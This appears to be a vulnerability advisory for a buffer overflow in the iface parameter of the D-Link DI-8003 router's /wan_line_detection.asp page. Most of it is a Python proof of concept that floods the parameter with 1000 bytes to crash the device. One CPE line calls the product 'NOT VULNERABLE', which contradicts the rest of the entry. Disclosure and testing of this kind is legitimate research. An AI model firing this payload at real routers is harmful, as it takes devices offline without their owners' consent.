A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to improper handling of the iface parameter in the /wan_line_detection.asp endpoint.
cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8003 16.07.26A1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit_poc(target_ip):
# Target endpoint vulnerable to buffer overflow
url = f"http://{target_ip}/wan_line_detection.asp"
# Malicious payload designed to overflow the buffer
# Adjust the length (e.g., 1000 bytes) based on fuzzing results
payload = "A" * 1000
# The vulnerable parameter is 'iface'
params = {
"iface": payload
}
try:
# Send the GET request to trigger the vulnerability
response = requests.get(url, params=params, timeout=5)
print(f"[+] Payload sent to {url}")
print(f"[+] Status Code: {response.status_code}")
# Check if service is down (optional logic)
if response.status_code != 200:
print("[-] Service might be crashed or unreachable.")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error (possible crash): {e}")
if __name__ == "__main__":
# Replace with the actual target IP address
target = "192.168.0.1"
exploit_poc(target)